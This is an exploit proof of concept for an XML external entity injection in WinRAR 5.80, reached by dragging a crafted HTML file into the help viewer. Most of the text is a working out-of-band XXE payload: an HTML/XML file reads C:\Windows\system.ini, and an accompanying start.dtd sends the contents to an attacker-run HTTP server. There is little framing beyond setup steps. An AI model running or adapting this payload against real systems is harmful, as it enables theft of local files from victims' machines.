WinRAR version 5.80 suffers from an XML external entity injection vulnerability.
0cb9d823c4de04451472377ab153a5a4
# Exploit Title: winrar External Entity Injection
# Exploit Author: albalawi-s
# Vendor Homepage: https://win-rar.com
# Software Link: https://win-rar.com/fileadmin/winrar-versions/winrar-x64-58b2.exe
# Version: 5.80
# Tested on: Microsoft Windows Version 10.0.18362.418 64bit
#https://twitter.com/test_app_______
#poc video
https://www.youtube.com/watch?v=XpFvSHeVB7E
# POC
=====================================================
1- python -m SimpleHTTPServer 8000
2- open winrar or any file.rar
3- help
4- help topics
5- Drag the html file to the window
html file
<htmlL>
<body>
<xml>
<?xml version="1.0"?>
<!DOCTYPE flavios [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/start.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>
</body>
</html>
==============================
start.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;